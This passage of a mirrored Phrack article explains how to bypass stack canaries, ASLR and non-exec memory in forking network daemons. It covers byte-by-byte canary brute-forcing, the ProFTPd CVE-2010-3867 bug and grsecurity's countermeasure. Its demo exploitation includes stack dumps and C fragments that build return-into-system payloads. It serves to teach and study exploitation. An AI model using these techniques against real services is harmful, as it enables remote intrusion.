Mirrors/Zines
1
0
Fork 0
mirror of https://github.com/fdiskyou/Zines.git synced 2025-03-09 00:00:00 +01:00
Code Issues Releases Wiki Activity
Zines/phrack/67/13.txt

1878 lines
65 KiB
Text
Raw Permalink Normal View History

1st import into tree
2016-12-14 22:07:35 +00:00
==Phrack Inc.==
Volume 0x0e, Issue 0x43, Phile #0x0d of 0x10
|=-----------------------------------------------------------------------=|
|=------=[ Scraps of notes on remote stack overflow exploitation ]=------=|
|=-----------------------------------------------------------------------=|
|=-------------=[ Adam 'pi3' Zabrocki - pi3 (at) itsec pl ]=-------------=|
|=-----------------------------------------------------------------------=|
---[ Contents
1 - Introduction
2 - Anti Exploitation Techniques
3 - The stack cookies problem
3.1 - A story of cookie protection
3.2 - The canary security
3.3 - Exploiting canaries remotely
4 - A few words about the other protections
5 - Hacking the PoC
6 - Conclusion
7 - References
8 - Appendix - PoC
8.1 - The server (s.c)
8.2 - The exploit (moj.c)
---[ 1. Introduction
Before the main topic of this article starts I would like to say, this
paper describes a few little techniques based on small observations related
to the POSIX standard. This observation open a small door for us to use a
mix of well known exploitation techniques for bypassing modern security
mechanisms / systems.
Nowadays, finding a stack overflow error does not imply a successful
attack on the system. Bah! Nowadays, it is much harder, nearly impossible
to do a remote attack. This is because of the new security patches which
strongly increase the difficulty of exploiting bugs. We have a really
impressive number of different kind of patches that protect against attacks
in different layers and use different ideas. Let's look at the most popular
and typically used ones in modern *NIX systems.
--[ 2. Anti Exploitation Techniques
*) AAAS (ASCII Armored Address Space)
AAAS is a very interesting idea. The idea is to load libraries (and more
generally any ET_DYN object) in the 16 first megabytes of the address
space. As a result, all code and data of these shared libraries are located
at addresses beginning with a NULL byte. It naturally breaks the
exploitation of the particular set of overflow bugs in which an improper
use of the NULL byte character leads to the corruption (for example
strcpy() functions and similar situations). Such a protection is
intrinsically not effective against situations where the NULL byte is not
an issue or when the return address used by the attacker does not contain a
NULL byte (like the PLT on Linux/*BSD x86 systems). Such a protection is
used on Fedora distributions.
*) ESP (Executable Space Protection)
The idea of this protection mechanism is very old and simple.
Traditionally, overflows are exploited using shellcodes which means the
execution of user supplied 'code' in a 'data' area. Such an unusual
situation is easily mitigated by preventing data sections (stack, heap,
.data, etc.) and more generally (if possible) all writable process memory
from executing. This cannot however prevent the attacker from calling
already loaded code such as libraries or program functions. This led to the
classical return-into-libc family of attacks. Nowadays all PAE or 64 bits
x86 linux kernel are supporting this by default.
*) ASLR (Address Space Layout Randomization)
The idea of ASLR is to randomize the loading address of several memory
areas such as the program's stack and heap, or its libraries. As a result
even if the attacker overwrites the metadata and is able to change the
program flow, he doesn't know where the next instructions (shellcode,
library functions) are. The idea is simple and effective. ASLR is enabled
by default on linux kernel since linux 2.6.12.
*) Stack canaries (canaries of the death)
This is a compiler mechanism, in contrast to previously kernel-based
described techniques. When a function is called, the code inserted by the
compiler in its prologue stores a special value (the so-called cookie) on
the stack before the metadata. This value is a kind of defender of
sensitive data. During the epilogue the stack value is compared with the
original one and if they are not the same then a memory corruption must
have occurred. The program is then killed and this situation is reported in
the system logs. Details about technical implementation and little arm race
between protection and bypassing protection in this area will be explained
further.
--[ 3. The stack cookies problem
--[ 3.1. A story of cookie protection
There were / are many of its implementations. Some of them are better while
others are worse. Definitely the best implementation is SSP (Stack Smashing
Protector), also known as ProPolice which is our topic and has been
included in gcc since version 4.x.
How do those canaries work? At the time of creating the stack frame, the
so-called canary is added. This is a random number. When a hacker triggers
a stack overflow bug, before overwriting the metadata stored on the stack
he has to overwrite the canary. When the epilogue is called (which removes
the stack frame) the original canary value (stored in the TLS, referred by
the gs segment selector on x86) is compared to the value on the stack. If
these values are different SSP writes a message about the attack in the
system logs and terminate the program.
When a program is compiled with SSP, the stack is setup in this way:
| ... |
-------------------------------
| N - Argument for function |
-------------------------------
| N-1 - Argument for function |
-------------------------------
| ... |
-------------------------------
| 2 - Argument for function |
-------------------------------
| 1 - Argument for function |
-------------------------------
| Return Address |
-------------------------------
| Frame Pointer |
-------------------------------
| xxx |
-------------------------------
| Canary |
-------------------------------
| Local Variables |
-------------------------------
| ... |
What is an 'xxx' value? So... It is very common that gcc adds some padding
on the stack. In compilers of the 3.3.x and 3.4.x versions it is usually
20 bytes. It prevents exploiting off-by-one bugs. This article is not about
this solution either, but we should be aware of that.
The reordering issue
--------------------
Bulba and Kil3r published a technique in their phrack article [1] on how to
bypass this security protection, if the local variables are in this kind of
configuration:
---------------------------------------------------------------------------
int func(char *arg) {
char *ptr;
char buf[MAX];
...
memcpy(buf,arg,strlen(arg));
...
strcpy(ptr,arg);
...
}
---------------------------------------------------------------------------
In this situation we don't need to overwrite the canary value. We can
simply overwrite the ptr pointer with the return address. Since it's used
as the destination pointer of a memory copy then we can set what we want
and where we want (which includes the return address) without touching the
canary:
| ... |
-------------------------------
| arg - Argument for function |
-------------------------------
----> | Return Address |
| -------------------------------
| | Frame Pointer |
| -------------------------------
| | xxx |
| -------------------------------
| | Canary |
| -------------------------------
---- | char *ptr |
-------------------------------
| char buf[MAX-1] |
-------------------------------
| char buf[MAX-2] |
-------------------------------
| ... |
-------------------------------
| char buf[0] |
-------------------------------
| ... |
In this kind of situation, if an attacker can directly (or not) modify a
pointer, the canaries of the death may fail!
In fact SSP is much more complicated and advanced than other
implementations of the canaries of the death (e.g. StackGuard). Indeed SSP
also uses some heuristic to order the local variables on the stack.
For example, imagine the following function:
---------------------------------------------------------------------------
int func(char *arg1, char *arg2) {
int a;
int *b;
char c[10];
char d[3];
memcpy(c,arg1,strlen(arg1));
*b = 5;
memcpy(d,arg2,strlen(arg2));
return *b;
}
---------------------------------------------------------------------------
In theory the stack should more or less look like that:
(d[..]) (c[..]) (*b) (a) (...) (FP) (IP)
But SSP changes the order of the local variables and the stack will instead
look like this:
(*b) (a) (d[..]) (c[..]) (...) (FP) (IP)
Of course SSP always adds the canary. Now the stack looks really bad from
the attacker's point of view:
| ... |
-------------------------------
|arg1 - Argument for function |
-------------------------------
|arg2 - Argument for function |
-------------------------------
| Return Address |
-------------------------------
| Frame Pointer |
-------------------------------
| xxx |
-------------------------------
| Canary |
-------------------------------
| char c[..] |
-------------------------------
| char d[..] |
-------------------------------
| int a |
-------------------------------
| int *b |
-------------------------------
| Copy of arg1 |
-------------------------------
| Copy of arg2 |
-------------------------------
| ... |
SSP always tries to put all buffers close to the canary, while pointers as
far from the buffers as it can. The arguments of the function are also
copied in a special place on the stack so that the original arguments are
never used.
With such a reordering the chances to overwrite some pointers to modify
the control flow seem low. It looks like an attacker doesn't have any other
option than a mere bruteforce to exploit stack overflow bugs, does he? :)
The limitations of SSP
----------------------
Even SSP is not perfect. There are some 'special' cases when SSP can't
create a 'safe frame'. Here are some of the known situations:
*) SSP does NOT protect each buffer separately. When data on the stack is
reordered in a safe way we can still overwrite the buffer by another
buffer. If there are many buffers, all of them will be put close to each
other. We can imagine the situation when a buffer, which is before
another buffer, can overwrite it. If there are data used by the
application for the control flow in the overflown buffer, then a door is
open and depending on the program it may be possible to exploit this
control.
*) If we have structures or classes, SSP will NOT reorder the arguments
inside of this data area.
*) If the function accepts a variable number of arguments (such as
*printf()) then SSP will not know how many arguments to expect. In this
situation the compiler will not be able to copy the arguments in a safe
location.
*) If the program uses the alloc() function or extends the standard C
language on how to create a dynamic array (e.g. char tab[size+5]) SSP
will place all this data on top of the frame. People interested in
dynamic arrays should read andrewg's phrack paper on the subject [13].
*) In most cases, when the application "plays" with virtual functions
in C++, it is hard to create a 'secure frame' - for detailed
information please read reference [2].
**) Some distributions (like Ubuntu 10.04) have a canary which is masked by
value 0x00FFFFFF. The NULL byte will be always there.
**) StackGuard v2.0.1 always uses the static canary 0x000AFF0D. These bytes
weren't chosen randomly. The 0x00 byte is for stopping the copy of
strings arguments. The 0x0A byte is the 'new line' and it can stop
reading bytes by function like *gets(). The byte 0xFF and 0x0D ('\r')
can sometimes stop copying process too. If you check the value of
terminator canary generated by SSP on non system-V you will discover it
is almost the same. StackGuard add also the byte '\r' (0x0D) which SSP
doesn't.
---[ 3.2 - The canary security
Beginning from the gcc version 4.1 stage2 [6], [7] the Stack Smashing
Protector is included by default. Gcc developers reimplemented IBM Pro
Police Stack Detector. Let's look at its implementation under the loupe.
We need to determine:
*) If the canary is really random
*) If the address of the canary can be leaked
The runtime protection
-----------------------
If we look inside a protected function we can find the following code
added by SSP to the epilogue:
---------------------------------------------------------------------------
0x0804841c <main+40>: mov -0x8(%ebp),%edx
0x0804841f <main+43>: xor %gs:0x14,%edx
0x08048426 <main+50>: je 0x804842d <main+57>
0x08048428 <main+52>: call 0x8048330 <__stack_chk_fail@plt>
---------------------------------------------------------------------------
This code retrieves the local canary value from the stack and compares it
with the original one stored in the TLS. If the values are not the same,
the function __stack_chk_fail() takes control.
The implementation of this function can be found in GNU C Library code in
file "debug/stack_chk_fail.c"
---------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
extern char **__libc_argv attribute_hidden;
void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
---------------------------------------------------------------------------
What is important is that this function has the attribute "noreturn". That
means (obviously) that it never returns. Let's look deeper and see how. The
definition of the function __fortify_fail() can be found it in file
"debug/fortify_fail.c"
---------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
extern char **__libc_argv attribute_hidden;
void
__attribute__ ((noreturn))
__fortify_fail (msg)
const char *msg;
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
libc_hidden_def (__fortify_fail)
---------------------------------------------------------------------------
So __fortify_fail() is a wrapper around the function __libc_message()
which in turn calls abort(). There is indeed no way to avoid it.
The initialisation
-------------------
Let's have a look at the code of the Run-Time Dynamic Linker in
"etc/rtld.c". The canary initialisation is performed by the function
security_init() which is called when the RTLD is loaded (the TLS was init
by the init_tls() function before):
---------------------------------------------------------------------------
static void
security_init (void)
{
/* Set up the stack checker's canary. */
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard ();
#ifdef THREAD_SET_STACK_GUARD
THREAD_SET_STACK_GUARD (stack_chk_guard);
#else
__stack_chk_guard = stack_chk_guard;
#endif
[...] // pointer guard stuff
}
---------------------------------------------------------------------------
The canary value is created by the function _dl_setup_stack_chk_guard(). In
original implementation published by IBM it was the function __guard_setup.
Depending on the operating system, the function _dl_setup_stack_chk_guard()
is either defined in file "sysdeps/unix/sysv/linux/dl-osinfo.h" or in file
"sysdeps/generic/dl-osinfo.h"
If we go to the UNIX System V definition of the function we will find:
---------------------------------------------------------------------------
static inline uintptr_t __attribute__ ((always_inline))
_dl_setup_stack_chk_guard (void)
{
uintptr_t ret;
#ifdef ENABLE_STACKGUARD_RANDOMIZE
int fd = __open ("/dev/urandom", O_RDONLY);
if (fd >= 0)
{
ssize_t reslen = __read (fd, &ret, sizeof (ret));
__close (fd);
if (reslen == (ssize_t) sizeof (ret))
return ret;
}
#endif
ret = 0;
unsigned char *p = (unsigned char *) &ret;
p[sizeof (ret) - 1] = 255;
p[sizeof (ret) - 2] = '\n';
return ret;
}
---------------------------------------------------------------------------
If the macro ENABLE_STACKGUARD_RANDOMIZE is enabled, the function open the
device "/dev/urandom", read sizeof(uintptr_t) bytes and return them.
Otherwise of if this operation is not successful, a terminator canary is
generated. First it put the value 0x00 in the variable ret. Next it changes
two bytes to the value 0xFF and 0xa. Finally the terminator canary will
always be 0x00000aff.
Now if we go to the definition of function _dl_setup_stack_chk_guard()
for other operating systems we see:
---------------------------------------------------------------------------
#include <stdint.h>
static inline uintptr_t __attribute__ ((always_inline))
_dl_setup_stack_chk_guard (void)
{
uintptr_t ret = 0;
unsigned char *p = (unsigned char *) &ret;
p[sizeof (ret) - 1] = 255;
p[sizeof (ret) - 2] = '\n';
p[0] = 0;
return ret;
}
---------------------------------------------------------------------------
So this function always generates a terminator canary value.
Conclusion
----------
Either the canary is fully random and unpredictable (assuming /dev/urandom
is safe which is a fair assumption) or it's constant and weak (weaker than
stackguard) but nontheless troublesome in some kind of situations.
The storage of its value is dependant on the TLS which itself is not at
fixed location (and the virtual address is never leaked in the code thanks
to the segment selector trick) which means that it could hardly be leaked.
---[ 3.3 - Exploiting canaries remotely
Usually networks daemons create a new thread by calling clone() or a new
process by calling fork() to support a new connection. In the case of
fork() and depending on the daemon, the child process may or may not call
execve() which means that it will be in one the two situations:
1. without execve()
[mother]
--------> accept()
| |
| | <- new connection
| |
| fork()
| | |
| mother | | child
-----------| |
|
read()
|
...
...
2. with execve()
[mother]
--------> accept()
| |
| | <- new connection
| |
| fork()
| | |
| mother | | child
-----------| |
|
execve()
|
|
read()
|
...
...
Note 1: OpenSSH is a good example of the second example.
Note 2: Of course there is also the possibility that the server is using
select() instead of accept(). In such case, there is of course no fork().
As stated by the man page:
*) the fork() system call creates a duplicate of the calling process which
means that father and child share a same canary as this is a
per-process-canary and not a per-function-canary mechanism. This is an
interesting property as if for each attempt we were able to guess a little
of the canary then with a finite number of guesses we would be successful.
*) when execve() is called "text, data, bss, and stack of the calling
process are overwritten by that of the program loaded." This implies that
the canary is different for each child. As a result, being able to guess a
little of the child canary is most likely useless as this will result in a
crash and any result wouldn't be applicable to the next child.
Considering 32-bits architecture, the number of possible canaries is up to
2^32 (2^24 on Ubuntu) which is around 4 billions (respectively 16 millions)
which is impossible to test remotely while feasible locally in a few hours.
What should one do? Ben Hawkes [9] suggested an interesting method: brute
forcing with a byte-by-byte technique which is much more effective. When
can we use it? As we have mentioned, the canary does not change while
fork()'ing whereas with execve() it does. As a result guessing one byte
after an other requires that the fork() is not followed by an execve()
call.
Here is the stack of the vulnerable function:
| ..P.. | ..P.. | ..P.. | ..P.. | ..C.. | ..C.. | ..C.. | ..C.. |
P - 1 byte of buffer
C - 1 byte of canary
First, we overwrite the first byte of canary and we check when the program
ends with an error and when does not. It could be done in several ways.
Hawkes proposed to estimate the program's answer time: whenever it misses
the canary's byte, the program ends immediately. When the canary's byte
matches, the program will still run, so its ending time is much longer than
in the first case. We do not necessarily have to use that technique. It
often happens that after calling the function, the server (daemon) sends us
back some responses as the result of an operation. All we need to do is to
check whether an expected data is received by the socket. If it is the
expected one, it means we've got the correct canary's byte and we can move
to the next one.
Because 1 byte can have 256 different values at most, it becomes a relative
calculus. Knowing the first byte's value, we have to guess 256 different
possibilities for the following bytes which means that the whole cookie
could be guessed in 4*256 = 1024 combinations which is reasonable.
Here is the drawing of the four steps (each being a particular byte guess):
First byte:
| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..C.. | ..C.. | ..C.. |
Second byte:
| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..C.. | ..C.. |
Third byte:
| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..Z.. | ..C.. |
Fourth byte:
| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..Z.. | ..A.. |
When the attack is finished, we know that the canary's value is XYZA. With
this knowledge we are then able to continue the attack of the application.
Overwriting data, we put the canary's value in the canary's location. Since
the canary is overwritten by its original value, the memory corruption is
not detected.
The easiest and simplest way to find the canary's location is nothing else
than testing. If we know that we can overwrite a 100 bytes buffer, we
actually send a fake packet with 101 bytes length and we check the answer
in the same way as we did while discussing theory of breaking the canary's
value. If the program does NOT crash, it means that we have overwritten
something else than the canary with high probability (we could also have
overwritten the first byte of the canary with the correct value).
Continuing to increase the amount of overwritten bytes, the program will
finally stop running so we will know where the canary's value begins.
Mitigation
----------
When will this technique not work? Every time we can't fully control the
overwritten bytes. For example you may not be able to control the last
character of your buffer or you may be have to deal with filtering (if NULL
bytes are prohibited then it's over).
A good example of such a situation is the latest pre-auth ProFTPd bug
(CVE-2010-3867) discovered by TJ Saunders. The bug lies in the parsing of
TELNET_IAC chars because of miscalculated end of reading loop. Let's look
at this bug closer.
The problem lies in the function pr_netio_telnet_gets() from the file
"src/netio.c":
---------------------------------------------------------------------------
char *pr_netio_telnet_gets(char *buf, size_t buflen,
pr_netio_stream_t *in_nstrm, pr_netio_stream_t *out_nstrm) {
char *bp = buf;
...
[L1] while (buflen) {
...
toread = pr_netio_read(in_nstrm, pbuf->buf,
(buflen < pbuf->buflen ? buflen : pbuf->buflen), 1);
...
[L2] while (buflen && toread > 0 && *pbuf->current != '\n'
&& toread--) {
...
if (handle_iac == TRUE) {
switch (telnet_mode) {
case TELNET_IAC:
switch (cp) {
...
...
default:
...
*bp++ = TELNET_IAC;
[L3] buflen--;
telnet_mode = 0;
break;
}
...
}
}
*bp++ = cp;
[L4] buflen--;
}
...
...
*bp = '\0';
return buf;
}
}
---------------------------------------------------------------------------
The loop [L2] reads and parses the bytes. Each time it decrements buflen
[L4]. A problem exists when TELNET_IAC character comes (0xFF). When this
character occurs in the parsing buflen is decremented [L3]. As a result in
this situation, buflen is decremented by 2 which is perfect to bypass an
inappropriate check in [L1]. Indeed, when buflen == 1 if the parsed
character is TELNET_IAC then buflen = 1 - 2 = -1. As a result, the
"while (buflen && " condition of [L1] holds and the copy continues (until
an '\n' is found).
The function pr_netio_telnet_gets() is called by function pr_cmd_read()
from file "src/main.c":
---------------------------------------------------------------------------
int pr_cmd_read(cmd_rec **res) {
static long cmd_bufsz = -1;
char buf[PR_DEFAULT_CMD_BUFSZ+1] = {'\0'};
...
while (TRUE) {
...
if (pr_netio_telnet_gets(buf, sizeof(buf)-1, session.c->instrm,
session.c->outstrm) == NULL) {
...
}
...
...
return 0;
}
---------------------------------------------------------------------------
In this case the argument for the vulnerable function is a local buffer on
the stack. So this is a classical stack buffer overflow bug. In theory all
conditions are met to bypass pro-police canary using the byte-by-byte
technique. But if we look closer to the vulnerable function we see this
code:
*bp = '\0';
... which break the idea of using a byte-by-byte attack. Why? Because we
can never control the last overflowed byte which is always 0x00, only the
penultimate.
Additionally, the 'byte-by-byte' method requires that all children have a
same canary. This is not possible if the children are calling execve() as
explained earlier. In such a situation, a bruteforce attack is quite
unlikely to succeed. Of course we could try to guess 3 bytes each time if
we had a lot of time... but it would means a one shot attack afterward
since multiplying the complexity of both attempts would require too much
time.
Finally, grsecurity provides an interesting security feature to prevent
this kind of exploitation. Considering the fact that the bruteforce will
necessarily result in the crash of children, then a child dying with SIGILL
(such as if PaX killed it for example) is highly suspicious. As a result,
while in do_coredump() the kernel set a flag in the parent process using
the gr_handle_brute_attach() function. The next forking attempt of the
parent will then be delayed. Indeed in do_fork() the task is set in the
TASK_UNINTERRUPTIBLE state and put to sleep for (at least) 30s.
---------------------------------------------------------------------------
+void gr_handle_brute_attach(struct task_struct *p)
+{
+#ifdef CONFIG_GRKERNSEC_BRUTE
+ read_lock(&tasklist_lock);
+ read_lock(&grsec_exec_file_lock);
+ if (p->p_pptr && p->p_pptr->exec_file == p->exec_file)
+ p->p_pptr->brute = 1;
+ read_unlock(&grsec_exec_file_lock);
+ read_unlock(&tasklist_lock);
+#endif
+ return;
+}
+
+void gr_handle_brute_check(void)
+{
+#ifdef CONFIG_GRKERNSEC_BRUTE
+ if (current->brute) {
+ set_current_state(TASK_UNINTERRUPTIBLE);
+ schedule_timeout(30 * HZ);
+ }
+#endif
+ return;
+}
---------------------------------------------------------------------------
While this mechanism has its limit (SIGILL is the only signal to trigger
the delay), it proves itself effective to slow down an attacker.
--[ 4 - A few words about the other protections
When the daemon is forking without calling execve() we can bypass SSP
because we can discover the "random" value of the canary, but we still have
to deal with non-exec memory and ASLR.
Executable Space Protection
---------------------------
The 10th of August 1997 Solar Designer's post in bugtraq mailing list
introduced the ret-into-libc attack which allows to bypass non-exec memory
restriction [11]. The technique was later enhanced by nergal in his phrack
paper [10] in which he introduced many new and now well known concepts
still in use nowadays such as:
*) Chaining. The consecutive call of several functions. [10] describes
the necessary stack layout to perform such a thing on x86. The
concept was later extended to other architectures and "gadgets"
(ROP) were introduced.
*) The use of mprotect() which was introduced as a counter measure
against PaX and still effective on some systems (though not on PaX
itself).
*) dl-resolve() which allows to call functions of the shared library
even when they don't have an entry in the PLT.
Ok - so we know the technique that we should use to bypass non-executable
memory but we still have a few problems. We don't know the address of the
function that should be called (typically a system()-like) and the address
of the argument(s) for this function.
At that point as an attacker you may have three solutions:
*) You can try to bruteforce. Obviously and as stated many times, you
should only bruteforce the strict necessary which is usually an
offset from which you can deduce the missing addresses. Interesting
information though a bit outdated on how you could perform this are
given in [12].
*) You find some way to perform an info leak. Depending on the
situation this can be tricky (though not always) especially on
modern systems where daemons are often compiled as PIE binaries. For
example on recent Ubuntu, by default most daemons are PIE binaries.
As a result, it's no more possible to use fixed address in the
code/data segment of the program.
*) You can exploit the memory layout to find some clever way to reduce
the amount of parameters to guess. Depending on the context, a deep
study of the program may be necessary.
The important thing to remember is that there is no generic technique, a
clever bug exploitation is highly dependant of the context induced by the
program itself. This is especially true with modern memory protections.
ASLR: Taking advantage of fork()
--------------------------------
As explained earlier the address space of the child process is a copy of
its parent. However this is no longer the case if the child performs an
execve() as the process is then completely reloaded and the address space
is then totally unpredictable because of the ASLR.
From a mathematical point of view, guessing an address is a:
- sampling without replacement (in fork() only situations)
- sampling with replacement (in fork() followed by execve() situation)
In the case of PIE network daemons, you have at least two distincts sources
of entropy:
*) the cookie: 24 bits or 32 bits on 32 bit OS
*) the ASLR: 16 bits for mmap() randomization with PaX (in PAGEEXEC
case) on 32 bit OS
(Last claim is proved by the following patch extract)
---------------------------------------------------------------------------
+#ifdef CONFIG_PAX_ASLR
+ if (current->mm->pax_flags & MF_PAX_RANDMMAP) {
+ current->mm->delta_mmap = (pax_get_random_long()
& ((1UL << PAX_DELTA_MMAP_LEN)-1)) << PAGE_SHIFT;
+ current->mm->delta_stack = (pax_get_random_long()
& ((1UL << PAX_DELTA_STACK_LEN)-1)) << PAGE_SHIFT;
+ }
+#endif
+#define PAX_DELTA_MMAP_LEN (current->mm->pax_flags
& MF_PAX_SEGMEXEC ? 15 : 16)
+#define PAX_DELTA_STACK_LEN (current->mm->pax_flags
& MF_PAX_SEGMEXEC ? 15 : 16)
---------------------------------------------------------------------------
Note: ET_DYN object randomization is performed using the delta_mmap offset.
We will see in chapter 5 that we need to guess this parameter.
Now the main idea is that without execve() the expected number of trials to
perform the attack is the sum of the number of attempts required to guess
the canary and the memory layout. With execve() it's their product.
Example:
Exploiting the proftpd bug on an Ubuntu 10.04 + PaX with:
- no byte-by-byte
- no execve()
- cookie has a null byte
- binary is compiled as PIE
It should require an average of 2^24 + 2^16 attempts (if binary is PIE).
From a complexity point of view, we could say that guessing both values is
as hard as guessing the cookie.
Note: Last minute update. It seems that proftpd is not compiled as PIE in
common distributions/Unix (according to many exploits targets).
---[ 5. Hacking the PoC
As a proof of these scribbles let's study and exploit an example of a
vulnerable server (complete code is in appendix). A trivial stack overflow
was emulated in the following function:
---------------------------------------------------------------------------
int vuln_func(char *args, int fd, int ile) {
char buf[100];
memset(buf, 0, sizeof buf);
if ( (strncmp(args,"vuln",4)) == 0) { [L1]
#ifdef __DEBUG
stack_dump("BEFORE", buf); [L2]
#endif
write(fd,"Vuln running...\nCopying bytes...",32);
memcpy(buf,args+5,ile-5); [L3]
#ifdef __DEBUG
stack_dump("AFTER", buf); [L4]
#endif
write(fd,"\nDONE\nReturn to the main loop\n",30); [L5]
return 1;
}
else if ( (strncmp(args,"quit",4)) == 0) {
write(fd,"Exiting...\n",11);
return 0;
}
else {
write(fd,"help:\n",6);
write(fd," [*] vuln <args>\n",17);
write(fd," [*] help\n",10);
write(fd," [*] quit\n",10);
return 1;
}
}
---------------------------------------------------------------------------
Let's analyze a bit this function:
*) The bug is triggered when an attacker supplies a "vuln XXXXX" with
a large enough "XXXXX" (> 100 bytes). [L1, L3]
*) The attacker is fully able to control his payload without
restrictions (no payload filtering, no overflow restriction)
*) When the overflow takes place, we possibly overwrite some local
variables which may induce a bug in [L5] and possibly crash the
program.
Note: Because of the fork(), debugging can be tedious. As a result I added
a function to leak the stack layout in a file both before and after the
overflow.
The program was compiled with -fstack-protector-all and -fpie -pie which
means that we will have to exploit the program with:
*) Non exec + full ASLR (code and data segments are also randomized)
*) Stack canary
*) Ascii armored protection
Depending on the Unix target, some of these protections may or may not be
effective. However we will assume that they are all activated.
Taking advantage of fork()
--------------------------
The first process of the exploitation is obviously to guess the stack
cookie. As said earlier, fork() will grant us children with the same
address space. As a result we will be able to guess the cookie with the
technique described in 3.3 which allows us to arbitrary overwrite anything
(including of course the saved EIP).
In a second time, we need to find an address in which returning. One of the
best solution is to return into a function of the .text which would
generate some network activity. However the server is a PIE binary thus an
ET_DYN ELF object. As a result, the address of this function has to be
guessed.
Now assuming that we have the original binary (fair assumption), the offset
of the function is known which means that we only need to bruteforce the
load address of the ELF object. Since such an address is aligned on
PAGE_SIZE basis, on a 32bits architecture the 12 less significant bits are
all 0.
For example consider the following code:
10be: e8 fc ff ff ff call 10bf <main+0x2f3>
10c3: c7 44 24 08 44 00 00 movl $0x44,0x8(%esp)
^^----------------------- last byte value. not randomised at all
^------------------------- last half value. bottom nibble is not
randomised
Additionally if Ascii Armour protection is used, the most significant byte
of the address will be 0x00 (something which does not happen under PaX).
The conclusion is that the amount to bruteforce is so small that it can be
done in a couple of seconds/minutes through the network.
Studying the stack layout
--------------------------
Thanks to our debugging function, it's easy to see the stack layout when
the crash occurs. Here is the layout on an Ubuntu 10.04 before the
overflow:
bfa38648: 00000000 00000000 00000000 00000000
bfa38658: 00000000 00000000 00000000 00000000
bfa38668: 00000000 00000000 00000000 00000000
bfa38678: 00000000 00000000 00000000 00000000
bfa38688: 00000000 00000000 00000000 00000000
bfa38698: 00000000 00000000 00000000 00000000
bfa386a8: 00000000 8c261700 00000004 005cdff4
bfa386b8: bfa387f8 005cbec1 bfa386f4 00000004
bfa386c8: 0000005f 00000000 00258be0 00257ff4
bfa386d8: 00000000 0000005f 00000003 00000004
bfa386e8: 0000029a 00000010 00000000 6e6c7576
We can thus see that:
*) The cookie (0x8c261700) is at 0xbfa386ac.
*) The return address is 0x005cbec1
*) The argument of vuln_func() are (0xbfa386f4, 0x4 and 0x5f)
There is a really nice way to take advantage of this situation. If we chose
to return into the 'call vuln_func()' instruction then the arguments will
be reused and the function replayed which will generate the needed network
flow to detect the right value of the base address. Here is the C code
building our payload:
addr_callvuln = P_REL_CALLVULN + (base_addr << 12);
*(buf_addr++) = canary;
*(buf_addr++) = addr_callvuln; // <-- dummy
*(buf_addr++) = addr_callvuln; // <-- dummy
*(buf_addr++) = addr_callvuln; // <-- dummy
*(buf_addr++) = addr_callvuln; // <-- ret-into-callvuln!
Note: Overwriting the next 4 bytes (args) with addr_callvuln is also
possible. Depending on the situation (whether you have the binary or not),
it can be an option to help with the bruteforce.
Returning-into-system
---------------------
Now the idea is to get the shell. Since we know the load address, the only
thing that needs to be done is to call a function which will give us a
shell. Again this is very specific to the daemon that you need/want to
exploit but in this case, I exploited the use of system(). Indeed in the
code you can find:
c8d: e8 d6 fb ff ff call 868 <system@plt>
^------------------------------- cool offset
One may object that there is also the system parameter to find but "args"
is on the stack and pointing to a user controlled buffer which means that
we can do a return-into-callsystem(args).
Note: In this case we were lucky (it was not done on purpose!) but the
following situation could also have occurred:
int vuln_func(int fd, char *args, int ile);
In this case, the layout would be...
[ .... ]
[ old_ebp ]
[ old_eip ]
[ fd ]
[ args ]
[ ile ]
[ .... ]
This would make no difference as we could use a return-into-ret and
overwrite fd with callsystem. An other solution would be to deduce the
address of the system() entry in the PLT and to call it as its first
argument would be "args" (classical return-into-func).
Note: It may happen in real life situation that you have no stack address
at disposal. Thus there are 2 solutions:
*) You bruteforce this address. It's lame. But sometimes you have no
other options (like when the overflow is limited which restricts
your ability to performed chained return-into-*.
*) You create a new stack frame somewhere in the .data section. Knowing
the loading address of the ELF object, it's easy to locate the .data
section. You would thus be able to create a whole fake stack frame
using a chained return-into-read(fd, &newstack_in_data, len) and
then finally switch the stack using a leave-ret sequence. Fun and
100% cool.
It that all? Not quite. We need to be sure that we will be able to reach
the 'ret' before crashing. Let's have a look at the epilogue of the
function:
objdump --no-show-raw-insn -Mintel -d ./s
fb1: call 8f8 <memcpy@plt>
fb6: lea eax,[ebp-0x70] ; the overflow occurred
fb9: mov DWORD PTR [esp+0x4],eax
fbd: lea eax,[ebx-0x1bdf]
fc3: mov DWORD PTR [esp],eax
fc6: call 10ca <stack_dump>
fcb: mov DWORD PTR [esp+0x8],0x1e
fd3: lea eax,[ebx-0x1bd8]
fd9: mov DWORD PTR [esp+0x4],eax
fdd: mov eax,DWORD PTR [ebp+0xc] ; we control the fd
fe0: mov DWORD PTR [esp],eax
fe3: call 878 <write@plt>
fe8: mov eax,0x1
fed: jmp 10b0 <vuln_func+0x1b1>
[...]
10b0: mov edx,DWORD PTR [ebp-0xc]
10b3: xor edx,DWORD PTR gs:0x14
10ba: je 10c1 <vuln_func+0x1c2>
10bc: call 1280 <__stack_chk_fail_local>
10c1: add esp,0x94
10c7: pop ebx ; interesting
10c8: pop ebp
10c9: ret
The deadlisting is quite straightforward. The only local variable that is
trashed is the fd used by write(). Does it matter? No. In the worst case,
the write() will return an EBADF error.
What about the ebx register? Well as a matter of fact, it is important to
restore its value since it's a PIE. Indeed ebx is used as a global address:
00000868 <system@plt>:
868: jmp DWORD PTR [ebx+0x20] ; ebx is pointing on the PLT
; (.got.plt)
86e: push 0x28
873: jmp 808 <_init+0x30>
It's no big deal since the address of the .got.plt section is exactly:
load_addr + the memory offset (cf. readelf -S). Here is the final stack
frame:
*(buf_addr++) = 0x00000004;
*(buf_addr++) = (P_REL_GOT + (base_addr << 12)); // used by the GOT.
*(buf_addr++) = 0x41414141;
*(buf_addr++) = system_addr;
// <-- Here is the buffer address
When there is no system()
-------------------------
